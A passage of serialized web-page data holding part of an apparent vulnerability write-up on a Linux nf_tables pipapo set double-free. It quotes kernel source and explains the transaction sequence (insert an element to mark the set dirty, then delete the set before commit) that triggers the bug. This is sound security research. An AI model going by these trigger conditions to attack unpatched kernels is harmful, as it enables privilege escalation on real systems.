struct",{"type":22,"tag":264,"props":53399,"children":53400},{"style":1539},[53401],{"type":27,"value":53025},{"type":22,"tag":264,"props":53403,"children":53404},{"style":4309},[53405],{"type":27,"value":53406},"**",{"type":22,"tag":264,"props":53408,"children":53409},{"style":1549},[53410],{"type":27,"value":53034},{"type":22,"tag":264,"props":53412,"children":53413},{"style":1539},[53414],{"type":27,"value":4463},{"type":22,"tag":264,"props":53416,"children":53417},{"class":1534,"line":1569},[53418],{"type":22,"tag":264,"props":53419,"children":53420},{"style":1539},[53421],{"type":27,"value":1542},{"type":22,"tag":264,"props":53423,"children":53424},{"class":1534,"line":1583},[53425],{"type":22,"tag":264,"props":53426,"children":53427},{"style":1539},[53428],{"type":27,"value":11616},{"type":22,"tag":264,"props":53430,"children":53431},{"class":1534,"line":1603},[53432,53437,53441,53446,53450,53454],{"type":22,"tag":264,"props":53433,"children":53434},{"style":1549},[53435],{"type":27,"value":53436}," priv",{"type":22,"tag":264,"props":53438,"children":53439},{"style":1539},[53440],{"type":27,"value":15056},{"type":22,"tag":264,"props":53442,"children":53443},{"style":1549},[53444],{"type":27,"value":53445},"dirty",{"type":22,"tag":264,"props":53447,"children":53448},{"style":4309},[53449],{"type":27,"value":4312},{"type":22,"tag":264,"props":53451,"children":53452},{"style":4293},[53453],{"type":27,"value":13768},{"type":22,"tag":264,"props":53455,"children":53456},{"style":1539},[53457],{"type":27,"value":4322},{"type":22,"tag":264,"props":53459,"children":53460},{"class":1534,"line":1612},[53461],{"type":22,"tag":264,"props":53462,"children":53463},{"style":1539},[53464],{"type":27,"value":11616},{"type":22,"tag":264,"props":53466,"children":53467},{"class":1534,"line":1621},[53468],{"type":22,"tag":264,"props":53469,"children":53470},{"style":1539},[53471],{"type":27,"value":1692},{"type":22,"tag":23,"props":53473,"children":53474},{},[53475],{"type":27,"value":53476},"We also see that when the changes are commited, this flag is then unset.",{"type":22,"tag":618,"props":53478,"children":53480},{"className":17815,"code":53479,"language":4449,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[53481],{"type":22,"tag":257,"props":53482,"children":53483},{"__ignoreMap":7},[53484,53524,53531,53538,53569,53580,53587,53614,53621],{"type":22,"tag":264,"props":53485,"children":53486},{"class":1534,"line":1535},[53487,53491,53495,53500,53504,53508,53512,53516,53520],{"type":22,"tag":264,"props":53488,"children":53489},{"style":4293},[53490],{"type":27,"value":52365},{"type":22,"tag":264,"props":53492,"children":53493},{"style":4293},[53494],{"type":27,"value":52370},{"type":22,"tag":264,"props":53496,"children":53497},{"style":4401},[53498],{"type":27,"value":53499}," nft_pipapo_commit",{"type":22,"tag":264,"props":53501,"children":53502},{"style":1539},[53503],{"type":27,"value":2660},{"type":22,"tag":264,"props":53505,"children":53506},{"style":4293},[53507],{"type":27,"value":10699},{"type":22,"tag":264,"props":53509,"children":53510},{"style":1539},[53511],{"type":27,"value":52420},{"type":22,"tag":264,"props":53513,"children":53514},{"style":4309},[53515],{"type":27,"value":5865},{"type":22,"tag":264,"props":53517,"children":53518},{"style":1549},[53519],{"type":27,"value":52340},{"type":22,"tag":264,"props":53521,"children":53522},{"style":1539},[53523],{"type":27,"value":4463},{"type":22,"tag":264,"props":53525,"children":53526},{"class":1534,"line":1545},[53527],{"type":22,"tag":264,"props":53528,"children":53529},{"style":1539},[53530],{"type":27,"value":1542},{"type":22,"tag":264,"props":53532,"children":53533},{"class":1534,"line":1560},[53534],{"type":22,"tag":264,"props":53535,"children":53536},{"style":1539},[53537],{"type":27,"value":11616},{"type":22,"tag":264,"props":53539,"children":53540},{"class":1534,"line":1569},[53541,53545,53549,53553,53557,53561,53565],{"type":22,"tag":264,"props":53542,"children":53543},{"style":4328},[53544],{"type":27,"value":17088},{"type":22,"tag":264,"props":53546,"children":53547},{"style":1539},[53548],{"type":27,"value":4370},{"type":22,"tag":264,"props":53550,"children":53551},{"style":4309},[53552],{"type":27,"value":21928},{"type":22,"tag":264,"props":53554,"children":53555},{"style":1549},[53556],{"type":27,"value":52896},{"type":22,"tag":264,"props":53558,"children":53559},{"style":1539},[53560],{"type":27,"value":15056},{"type":22,"tag":264,"props":53562,"children":53563},{"style":1549},[53564],{"type":27,"value":53445},{"type":22,"tag":264,"props":53566,"children":53567},{"style":1539},[53568],{"type":27,"value":4463},{"type":22,"tag":264,"props":53570,"children":53571},{"class":1534,"line":1583},[53572,53576],{"type":22,"tag":264,"props":53573,"children":53574},{"style":4328},[53575],{"type":27,"value":40513},{"type":22,"tag":264,"props":53577,"children":53578},{"style":1539},[53579],{"type":27,"value":4322},{"type":22,"tag":264,"props":53581,"children":53582},{"class":1534,"line":1603},[53583],{"type":22,"tag":264,"props":53584,"children":53585},{"style":1539},[53586],{"type":27,"value":11616},{"type":22,"tag":264,"props":53588,"children":53589},{"class":1534,"line":1612},[53590,53594,53598,53602,53606,53610],{"type":22,"tag":264,"props":53591,"children":53592},{"style":1549},[53593],{"type":27,"value":53436},{"type":22,"tag":264,"props":53595,"children":53596},{"style":1539},[53597],{"type":27,"value":15056},{"type":22,"tag":264,"props":53599,"children":53600},{"style":1549},[53601],{"type":27,"value":53445},{"type":22,"tag":264,"props":53603,"children":53604},{"style":4309},[53605],{"type":27,"value":4312},{"type":22,"tag":264,"props":53607,"children":53608},{"style":4293},[53609],{"type":27,"value":10354},{"type":22,"tag":264,"props":53611,"children":53612},{"style":1539},[53613],{"type":27,"value":4322},{"type":22,"tag":264,"props":53615,"children":53616},{"class":1534,"line":1621},[53617],{"type":22,"tag":264,"props":53618,"children":53619},{"style":1539},[53620],{"type":27,"value":11616},{"type":22,"tag":264,"props":53622,"children":53623},{"class":1534,"line":1629},[53624],{"type":22,"tag":264,"props":53625,"children":53626},{"style":1539},[53627],{"type":27,"value":1692},{"type":22,"tag":23,"props":53629,"children":53630},{},[53631,53633,53638,53640,53645,53647,53652,53654,53659,53661,53667,53669,53675,53677,53682],{"type":27,"value":53632},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":22,"tag":257,"props":53634,"children":53636},{"className":53635},[],[53637],{"type":27,"value":52332},{"type":27,"value":53639}," in the ",{"type":22,"tag":257,"props":53641,"children":53643},{"className":53642},[],[53644],{"type":27,"value":52340},{"type":27,"value":53646}," to make it dirty and then delete the ",{"type":22,"tag":257,"props":53648,"children":53650},{"className":53649},[],[53651],{"type":27,"value":52340},{"type":27,"value":53653},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":22,"tag":257,"props":53655,"children":53657},{"className":53656},[],[53658],{"type":27,"value":52340},{"type":27,"value":53660},"'s ",{"type":22,"tag":257,"props":53662,"children":53664},{"className":53663},[],[53665],{"type":27,"value":53666},"->commit()",{"type":27,"value":53668}," method is executed before its ",{"type":22,"tag":257,"props":53670,"children":53672},{"className":53671},[],[53673],{"type":27,"value":53674},"->destroy()",{"type":27,"value":53676}," method, then the ",{"type":22,"tag":257,"props":53678,"children":53680},{"className":53679},[],[53681],{"type":27,"value":53445},{"type":27,"value":53683}," flag will be unset, and we won't be able to trigger the double-free.",{"type":22,"tag":23,"props":53685,"children":53686},{},[53687],{"type":27,"value":53688},"Let's once again refer to the code and see how these methods are called.",{"type":22,"tag":618,"props":53690,"children":53692},{"className":17815,"code":53691,"language":4449,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[53693],{"type":22,"tag":257,"props":53694,"children":53695},{"__ignoreMap":7},[53696,53758,53765,53772,53780,53793,53828,53862,53904,53926,53938,53951,53958,54006,54047,54087,54100,54107,54114,54121,54128,54153,54160,54173,54180,54196],{"type":22,"tag":264,"props":53697,"children":53698},{"class":1534,"line":1535},[53699,53703,53707,53712,53716,53720,53724,53728,53732,53736,53740,53745,53749,53754],{"type":22,"tag":264,"props":53700,"children":53701},{"style":4293},[53702],{"type":27,"value":52365},{"type":22,"tag":264,"props":53704,"children":53705},{"style":4293},[53706],{"type":27,"value":52494},{"type":22,"tag":264,"props":53708,"children":53709},{"style":4401},[53710],{"type":27,"value":53711}," nf_tables_commit",{"type":22,"tag":264,"props":53713,"children":53714},{"style":1539},[53715],{"type":27,"value":2660},{"type":22,"tag":264,"props":53717,"children":53718},{"style":4293},[53719],{"type":27,"value":10699},{"type":22,"tag":264,"props":53721,"children":53722},{"style":1539},[53723],{"type":27,"value":53323},{"type":22,"tag":264,"props":53725,"children":53726},{"style":4309},[53727],{"type":27,"value":5865},{"type":22,"tag":264,"props":53729,"children":53730},{"style":1549},[53731],{"type":27,"value":53332},{"type":22,"tag":264,"props":53733,"children":53734},{"style":1539},[53735],{"type":27,"value":4380},{"type":22,"tag":264,"props":53737,"children":53738},{"style":4293},[53739],{"type":27,"value":10699},{"type":22,"tag":264,"props":53741,"children":53742},{"style":1539},[53743],{"type":27,"value":53744}," sk_buff ",{"type":22,"tag":264,"props":53746,"children":53747},{"style":4309},[53748],{"type":27,"value":5865},{"type":22,"tag":264,"props":53750,"children":53751},{"style":1549},[53752],{"type":27,"value":53753},"skb",{"type":22,"tag":264,"props":53755,"children":53756},{"style":1539},[53757],{"type":27,"value":4463},{"type":22,"tag":264,"props":53759,"children":53760},{"class":1534,"line":1545},[53761],{"type":22,"tag":264,"props":53762,"children":53763},{"style":1539},[53764],{"type":27,"value":1542},{"type":22,"tag":264,"props":53766,"children":53767},{"class":1534,"line":1560},[53768],{"type":22,"tag":264,"props":53769,"children":53770},{"style":1539},[53771],{"type":27,"value":11616},{"type":22,"tag":264,"props":53773,"children":53774},{"class":1534,"line":1569},[53775],{"type":22,"tag":264,"props":53776,"children":53777},{"style":1539},[53778],{"type":27,"value":53779},"  case NFT_MSG_DELSET:\n",{"type":22,"tag":264,"props":53781,"children":53782},{"class":1534,"line":1583},[53783,53788],{"type":22,"tag":264,"props":53784,"children":53785},{"style":1539},[53786],{"type":27,"value":53787},"  case NFT_MSG_DESTROYSET:",{"type":22,"tag":264,"props":53789,"children":53790},{"style":4284},[53791],{"type":27,"value":53792}," // [1]\n",{"type":22,"tag":264,"props":53794,"children":53795},{"class":1534,"line":1603},[53796,53801,53806,53811,53815,53819,53823],{"type":22,"tag":264,"props":53797,"children":53798},{"style":4401},[53799],{"type":27,"value":53800},"   nft_trans_set",{"type":22,"tag":264,"props":53802,"children":53803},{"style":1539},[53804],{"type":27,"value":53805},"(trans)->",{"type":22,"tag":264,"props":53807,"children":53808},{"style":1549},[53809],{"type":27,"value":53810},"dead",{"type":22,"tag":264,"props":53812,"children":53813},{"style":4309},[53814],{"type":27,"value":4312},{"type":22,"tag":264,"props":53816,"children":53817},{"style":4344},[53818],{"type":27,"value":5817},{"type":22,"tag":264,"props":53820,"children":53821},{"style":1539},[53822],{"type":27,"value":50394},{"type":22,"tag":264,"props":53824,"children":53825},{"style":4284},[53826],{"type":27,"value":53827}," // [2]\n",{"type":22,"tag":264,"props":53829,"children":53830},{"class":1534,"line":1612},[53831,53836,53840,53844,53849,53853,53858],{"type":22,"tag":264,"props":53832,"children":53833},{"style":4401},[53834],{"type":27,"value":53835},"   list_del_rcu",{"type":22,"tag":264,"props":53837,"children":53838},{"style":1539},[53839],{"type":27,"value":2660},{"type":22,"tag":264,"props":53841,"children":53842},{"style":4309},[53843],{"type":27,"value":4413},{"type":22,"tag":264,"props":53845,"children":53846},{"style":4401},[53847],{"type":27,"value":53848},"nft_trans_set",{"type":22,"tag":264,"props":53850,"children":53851},{"style":1539},[53852],{"type":27,"value":53805},{"type":22,"tag":264,"props":53854,"children":53855},{"style":1549},[53856],{"type":27,"value":53857},"list",{"type":22,"tag":264,"props":53859,"children":53860},{"style":1539},[53861],{"type":27,"value":5142},{"type":22,"tag":264,"props":53863,"children":53864},{"class":1534,"line":1621},[53865,53870,53874,53878,53883,53887,53891,53895,53899],{"type":22,"tag":264,"props":53866,"children":53867},{"style":4401},[53868],{"type":27,"value":53869},"   nf_tables_set_notify",{"type":22,"tag":264,"props":53871,"children":53872},{"style":1539},[53873],{"type":27,"value":2660},{"type":22,"tag":264,"props":53875,"children":53876},{"style":4309},[53877],{"type":27,"value":4413},{"type":22,"tag":264,"props":53879,"children":53880},{"style":1549},[53881],{"type":27,"value":53882},"trans",{"type":22,"tag":264,"props":53884,"children":53885},{"style":1539},[53886],{"type":27,"value":15056},{"type":22,"tag":264,"props":53888,"children":53889},{"style":1549},[53890],{"type":27,"value":21587},{"type":22,"tag":264,"props":53892,"children":53893},{"style":1539},[53894],{"type":27,"value":4380},{"type":22,"tag":264,"props":53896,"children":53897},{"style":4401},[53898],{"type":27,"value":53848},{"type":22,"tag":264,"props":53900,"children":53901},{"style":1539},[53902],{"type":27,"value":53903},"(trans),\n",{"type":22,"tag":264,"props":53905,"children":53906},{"class":1534,"line":1629},[53907,53912,53916,53921],{"type":22,"tag":264,"props":53908,"children":53909},{"style":1549},[53910],{"type":27,"value":53911},"          trans",{"type":22,"tag":264,"props":53913,"children":53914},{"style":1539},[53915],{"type":27,"value":15056},{"type":22,"tag":264,"props":53917,"children":53918},{"style":1549},[53919],{"type":27,"value":53920},"msg_type",{"type":22,"tag":264,"props":53922,"children":53923},{"style":1539},[53924],{"type":27,"value":53925},", GFP_KERNEL);\n",{"type":22,"tag":264,"props":53927,"children":53928},{"class":1534,"line":1642},[53929,53934],{"type":22,"tag":264,"props":53930,"children":53931},{"style":4328},[53932],{"type":27,"value":53933},"   break",{"type":22,"tag":264,"props":53935,"children":53936},{"style":1539},[53937],{"type":27,"value":4322},{"type":22,"tag":264,"props":53939,"children":53940},{"class":1534,"line":1660},[53941,53946],{"type":22,"tag":264,"props":53942,"children":53943},{"style":1539},[53944],{"type":27,"value":53945},"  case NFT_MSG_NEWSETELEM:",{"type":22,"tag":264,"props":53947,"children":53948},{"style":4284},[53949],{"type":27,"value":53950}," // [3]\n",{"type":22,"tag":264,"props":53952,"children":53953},{"class":1534,"line":1668},[53954],{"type":22,"tag":264,"props":53955,"children":53956},{"style":1539},[53957],{"type":27,"value":11616},{"type":22,"tag":264,"props":53959,"children":53960},{"class":1534,"line":1677},[53961,53966,53970,53975,53979,53983,53987,53992,53996,54001],{"type":22,"tag":264,"props":53962,"children":53963},{"style":4328},[53964],{"type":27,"value":53965},"   if",{"type":22,"tag":264,"props":53967,"children":53968},{"style":1539},[53969],{"type":27,"value":4370},{"type":22,"tag":264,"props":53971,"children":53972},{"style":1549},[53973],{"type":27,"value":53974},"te",{"type":22,"tag":264,"props":53976,"children":53977},{"style":1539},[53978],{"type":27,"value":15056},{"type":22,"tag":264,"props":53980,"children":53981},{"style":1549},[53982],{"type":27,"value":52340},{"type":22,"tag":264,"props":53984,"children":53985},{"style":1539},[53986],{"type":27,"value":15056},{"type":22,"tag":264,"props":53988,"children":53989},{"style":1549},[53990],{"type":27,"value":53991},"ops",{"type":22,"tag":264,"props":53993,"children":53994},{"style":1539},[53995],{"type":27,"value":15056},{"type":22,"tag":264,"props":53997,"children":53998},{"style":1549},[53999],{"type":27,"value":54000},"commit",{"type":22,"tag":264,"props":54002,"children":54003},{"style":4309},[54004],{"type":27,"value":54005}," &&\n",{"type":22,"tag":264,"props":54007,"children":54008},{"class":1534,"line":1686},[54009,54014,54018,54022,54026,54030,54034,54038,54043],{"type":22,"tag":264,"props":54010,"children":54011},{"style":4401},[54012],{"type":27,"value":54013},"       list_empty",{"type":22,"tag":264,"props":54015,"children":54016},{"style":1539},[54017],{"type":27,"value":2660},{"type":22,"tag":264,"props":54019,"children":54020},{"style":4309},[54021],{"type":27,"value":4413},{"type":22,"tag":264,"props":54023,"children":54024},{"style":1549},[54025],{"type":27,"value":53974},{"type":22,"tag":264,"props":54027,"children":54028},{"style":1539},[54029],{"type":27,"value":15056},{"type":22,"tag":264,"props":54031,"children":54032},{"style":1549},[54033],{"type":27,"value":52340},{"type":22,"tag":264,"props":54035,"children":54036},{"style":1539},[54037],{"type":27,"value":15056},{"type":22,"tag":264,"props":54039,"children":54040},{"style":1549},[54041],{"type":27,"value":54042},"pending_update",{"type":22,"tag":264,"props":54044,"children":54045},{"style":1539},[54046],{"type":27,"value":36508},{"type":22,"tag":264,"props":54048,"children":54049},{"class":1534,"line":4948},[54050,54055,54059,54063,54067,54071,54075,54079,54083],{"type":22,"tag":264,"props":54051,"children":54052},{"style":4401},[54053],{"type":27,"value":54054},"    list_add_tail",{"type":22,"tag":264,"props":54056,"children":54057},{"style":1539},[54058],{"type":27,"value":2660},{"type":22,"tag":264,"props":54060,"children":54061},{"style":4309},[54062],{"type":27,"value":4413},{"type":22,"tag":264,"props":54064,"children":54065},{"style":1549},[54066],{"type":27,"value":53974},{"type":22,"tag":264,"props":54068,"children":54069},{"style":1539},[54070],{"type":27,"value":15056},{"type":22,"tag":264,"props":54072,"children":54073},{"style":1549},[54074],{"type":27,"value":52340},{"type":22,"tag":264,"props":54076,"children":54077},{"style":1539},[54078],{"type":27,"value":15056},{"type":22,"tag":264,"props":54080,"children":54081},{"style":1549},[54082],{"type":27,"value":54042},{"type":22,"tag":264,"props":54084,"children":54085},{"style":1539},[54086],{"type":27,"value":4812},{"type":22,"tag":264,"props":54088,"children":54089},{"class":1534,"line":4957},[54090,54095],{"type":22,"tag":264,"props":54091,"children":54092},{"style":4309},[54093],{"type":27,"value":54094},"           &",{"type":22,"tag":264,"props":54096,"children":54097},{"style":1539},[54098],{"type":27,"value":54099},"set_update_list);\n",{"type":22,"tag":264,"props":54101,"children":54102},{"class":1534,"line":4980},[54103],{"type":22,"tag":264,"props":54104,"children":54105},{"style":1539},[54106],{"type":27,"value":36062},{"type":22,"tag":264,"props":54108,"children":54109},{"class":1534,"line":4989},[54110],{"type":22,"tag":264,"props":54111,"children":54112},{"style":1539},[54113],{"type":27,"value":11616},{"type":22,"tag":264,"props":54115,"children":54116},{"class":1534,"line":4998},[54117],{"type":22,"tag":264,"props":54118,"children":54119},{"style":1539},[54120],{"type":27,"value":10894},{"type":22,"tag":264,"props":54122,"children":54123},{"class":1534,"line":5067},[54124],{"type":22,"tag":264,"props":54125,"children":54126},{"emptyLinePlaceholder":17},[54127],{"type":27,"value":4986},{"type":22,"tag":264,"props":54129,"children":54130},{"class":1534,"line":5075},[54131,54136,54140,54144,54149],{"type":22,"tag":264,"props":54132,"children":54133},{"style":4401},[54134],{"type":27,"value":54135}," nft_set_commit_update",{"type":22,"tag":264,"props":54137,"children":54138},{"style":1539},[54139],{"type":27,"value":2660},{"type":22,"tag":264,"props":54141,"children":54142},{"style":4309},[54143],{"type":27,"value":4413},{"type":22,"tag":264,"props":54145,"children":54146},{"style":1549},[54147],{"type":27,"value":54148},"set_update_list",{"type":22,"tag":264,"props":54150,"children":54151},{"style":1539},[54152],{"type":27,"value":5142},{"type":22,"tag":264,"props":54154,"children":54155},{"class":1534,"line":5105},[54156],{"type":22,"tag":264,"props":54157,"children":54158},{"style":1539},[54159],{"type":27,"value":11616},{"type":22,"tag":264,"props":54161,"children":54162},{"class":1534,"line":5113},[54163,54168],{"type":22,"tag":264,"props":54164,"children":54165},{"style":4401},[54166],{"type":27,"value":54167}," nf_tables_commit_release",{"type":22,"tag":264,"props":54169,"children":54170},{"style":1539},[54171],{"type":27,"value":54172},"(net);\n",{"type":22,"tag":264,"props":54174,"children":54175},{"class":1534,"line":5145},[54176],{"type":22,"tag":264,"props":54177,"children":54178},{"emptyLinePlaceholder":17},[54179],{"type":27,"value":4986},{"type":22,"tag":264,"props":54181,"children":54182},{"class":1534,"line":5153},[54183,54188,54192],{"type":22,"tag":264,"props":54184,"children":54185},{"style":4328},[54186],{"type":27,"value":54187}," return",{"type":22,"tag":264,"props":54189,"children":54190},{"style":4344},[54191],{"type":27,"value":4347},{"type":22,"tag":264,"props":54193,"children":54194},{"style":1539},[54195],{"type":27,"value":4322},{"type":22,"tag":264,"props":54197,"children":54198},{"class":1534,"line":5213},[54199],{"type":22,"tag":264,"props":54200,"children":54201},{"style":1539},[54202],{"type":27,"value":1692},{"type":22,"tag":23,"props":54204,"children":54205},{},[54206,54207,54213,54215,54220],{"type":27,"value":17914},{"type":22,"tag":257,"props":54208,"children":54210},{"className":54209},[],[54211],{"type":27,"value":54212},"nft_set_commit_update()",{"type":27,"value":54214}," function in the code above will call the ",{"type":22,"tag":257,"props":54216,"children":54218},{"className":54217},[],[54219],{"type":27,"value":53666},{"type":27,"value":54221}," method for any objects that were marked as pending an update.",{"type":22,"tag":618,"props":54223,"children":54225},{"className":17815,"code":54224,"language":4449,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[54226],{"type":22,"tag":257,"props":54227,"children":54228},{"__ignoreMap":7},[54229,54269,54276,54305,54312,54325,54357,54364,54425,54436,54443,54477,54484],{"type":22,"tag":264,"props":54230,"children":54231},{"class":1534,"line":1535},[54232,54236,54240,54244,54248,54252,54257,54261,54265],{"type":22,"tag":264,"props":54233,"children":54234},{"style":4293},[54235],{"type":27,"value":52365},{"type":22,"tag":264,"props":54237,"children":54238},{"style":4293},[54239],{"type":27,"value":52370},{"type":22,"tag":264,"props":54241,"children":54242},{"style":4401},[54243],{"type":27,"value":54135},{"type":22,"tag":264,"props":54245,"children":54246},{"style":1539},[54247],{"type":27,"value":2660},{"type":22,"tag":264,"props":54249,"children":54250},{"style":4293},[54251],{"type":27,"value":10699},{"type":22,"tag":264,"props":54253,"children":54254},{"style":1539},[54255],{"type":27,"value":54256}," list_head ",{"type":22,"tag":264,"props":54258,"children":54259},{"style":4309},[54260],{"type":27,"value":5865},{"type":22,"tag":264,"props":54262,"children":54263},{"style":1549},[54264],{"type":27,"value":54148},{"type":22,"tag":264,"props":54266,"children":54267},{"style":1539},[54268],{"type":27,"value":4463},{"type":22,"tag":264,"props":54270,"children":54271},{"class":1534,"line":1545},[54272],{"type":22,"tag":264,"props":54273,"children":54274},{"style":1539},[54275],{"type":27,"value":1542},{"type":22,"tag":264,"props":54277,"children":54278},{"class":1534,"line":1560},[54279,54283,54287,54291,54296,54300],{"type":22,"tag":264,"props":54280,"children":54281},{"style":4293},[54282],{"type":27,"value":22458},{"type":22,"tag":264,"props":54284,"children":54285},{"style":1539},[54286],{"type":27,"value":52420},{"type":22,"tag":264,"props":54288,"children":54289},{"style":4309},[54290],{"type":27,"value":5865},{"type":22,"tag":264,"props":54292,"children":54293},{"style":1539},[54294],{"type":27,"value":54295},"set, ",{"type":22,"tag":264,"props":54297,"children":54298},{"style":4309},[54299],{"type":27,"value":5865},{"type":22,"tag":264,"props":54301,"children":54302},{"style":1539},[54303],{"type":27,"value":54304},"next;\n",{"type":22,"tag":264,"props":54306,"children":54307},{"class":1534,"line":1569},[54308],{"type":22,"tag":264,"props":54309,"children":54310},{"emptyLinePlaceholder":17},[54311],{"type":27,"value":4986},{"type":22,"tag":264,"props":54313,"children":54314},{"class":1534,"line":1583},[54315,54320],{"type":22,"tag":264,"props":54316,"children":54317},{"style":4401},[54318],{"type":27,"value":54319}," list_for_each_entry_safe",{"type":22,"tag":264,"props":54321,"children":54322},{"style":1539},[54323],{"type":27,"value":54324},"(set, next, set_update_list, pending_update) {\n",{"type":22,"tag":264,"props":54326,"children":54327},{"class":1534,"line":1603},[54328,54333,54337,54341,54345,54349,54353],{"type":22,"tag":264,"props":54329,"children":54330},{"style":4401},[54331],{"type":27,"value":54332},"  list_del_init",{"type":22,"tag":264,"props":54334,"children":54335},{"style":1539},[54336],{"type":27,"value":2660},{"type":22,"tag":264,"props":54338,"children":54339},{"style":4309},[54340],{"type":27,"value":4413},{"type":22,"tag":264,"props":54342,"children":54343},{"style":1549},[54344],{"type":27,"value":52340},{"type":22,"tag":264,"props":54346,"children":54347},{"style":1539},[54348],{"type":27,"value":15056},{"type":22,"tag":264,"props":54350,"children":54351},{"style":1549},[54352],{"type":27,"value":54042},{"type":22,"tag":264,"props":54354,"children":54355},{"style":1539},[54356],{"type":27,"value":5142},{"type":22,"tag":264,"props":54358,"children":54359},{"class":1534,"line":1612},[54360],{"type":22,"tag":264,"props":54361,"children":54362},{"emptyLinePlaceholder":17},[54363],{"type":27,"value":4986},{"type":22,"tag":264,"props":54365,"children":54366},{"class":1534,"line":1621},[54367,54371,54375,54379,54383,54387,54391,54395,54399,54403,54408,54412,54416,54420],{"type":22,"tag":264,"props":54368,"children":54369},{"style":4328},[54370],{"type":27,"value":32709},{"type":22,"tag":264,"props":54372,"children":54373},{"style":1539},[54374],{"type":27,"value":4370},{"type":22,"tag":264,"props":54376,"children":54377},{"style":4309},[54378],{"type":27,"value":21928},{"type":22,"tag":264,"props":54380,"children":54381},{"style":1549},[54382],{"type":27,"value":52340},{"type":22,"tag":264,"props":54384,"children":54385},{"style":1539},[54386],{"type":27,"value":15056},{"type":22,"tag":264,"props":54388,"children":54389},{"style":1549},[54390],{"type":27,"value":53991},{"type":22,"tag":264,"props":54392,"children":54393},{"style":1539},[54394],{"type":27,"value":15056},{"type":22,"tag":264,"props":54396,"children":54397},{"style":1549},[54398],{"type":27,"value":54000},{"type":22,"tag":264,"props":54400,"children":54401},{"style":4309},[54402],{"type":27,"value":25009},{"type":22,"tag":264,"props":54404,"children":54405},{"style":1549},[54406],{"type":27,"value":54407}," set",{"type":22,"tag":264,"props":54409,"children":54410},{"style":1539},[54411],{"type":27,"value":15056},{"type":22,"tag":264,"props":54413,"children":54414},{"style":1549},[54415],{"type":27,"value":53810},{"type":22,"tag":264,"props":54417,"children":54418},{"style":1539},[54419],{"type":27,"value":2806},{"type":22,"tag":264,"props":54421,"children":54422},{"style":4284},[54423],{"type":27,"value":54424}," // [4]\n",{"type":22,"tag":264,"props":54426,"children":54427},{"class":1534,"line":1629},[54428,54432],{"type":22,"tag":264,"props":54429,"children":54430},{"style":4328},[54431],{"type":27,"value":52812},{"type":22,"tag":264,"props":54433,"children":54434},{"style":1539},[54435],{"type":27,"value":4322},{"type":22,"tag":264,"props":54437,"children":54438},{"class":1534,"line":1642},[54439],{"type":22,"tag":264,"props":54440,"children":54441},{"emptyLinePlaceholder":17},[54442],{"type":27,"value":4986},{"type":22,"tag":264,"props":54444,"children":54445},{"class":1534,"line":1660},[54446,54451,54455,54459,54463,54467,54472],{"type":22,"tag":264,"props":54447,"children":54448},{"style":1549},[54449],{"type":27,"value":54450},"  set",{"type":22,"tag":264,"props":54452,"children":54453},{"style":1539},[54454],{"type":27,"value":15056},{"type":22,"tag":264,"props":54456,"children":54457},{"style":1549},[54458],{"type":27,"value":53991},{"type":22,"tag":264,"props":54460,"children":54461},{"style":1539},[54462],{"type":27,"value":15056},{"type":22,"tag":264,"props":54464,"children":54465},{"style":4401},[54466],{"type":27,"value":54000},{"type":22,"tag":264,"props":54468,"children":54469},{"style":1539},[54470],{"type":27,"value":54471},"(set);",{"type":22,"tag":264,"props":54473,"children":54474},{"style":4284},[54475],{"type":27,"value":54476}," // [5]\n",{"type":22,"tag":264,"props":54478,"children":54479},{"class":1534,"line":1668},[54480],{"type":22,"tag":264,"props":54481,"children":54482},{"style":1539},[54483],{"type":27,"value":10894},{"type":22,"tag":264,"props":54485,"children":54486},{"class":1534,"line":1677},[54487],{"type":22,"tag":264,"props":54488,"children":54489},{"style":1539},[54490],{"type":27,"value":1692},{"type":22,"tag":23,"props":54492,"children":54493},{},[54494,54496,54502,54504,54509,54510,54515],{"type":27,"value":54495},"Later on, the ",{"type":22,"tag":257,"props":54497,"children":54499},{"className":54498},[],[54500],{"type":27,"value":54501},"nf_tables_commit_release()",{"type":27,"value":54503}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":22,"tag":257,"props":54505,"children":54507},{"className":54506},[],[54508],{"type":27,"value":52340},{"type":27,"value":53660},{"type":22,"tag":257,"props":54511,"children":54513},{"className":54512},[],[54514],{"type":27,"value":53674},{"type":27,"value":54516}," method.",{"type":22,"tag":618,"props":54518,"children":54520},{"className":17815,"code":54519,"language":4449,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, 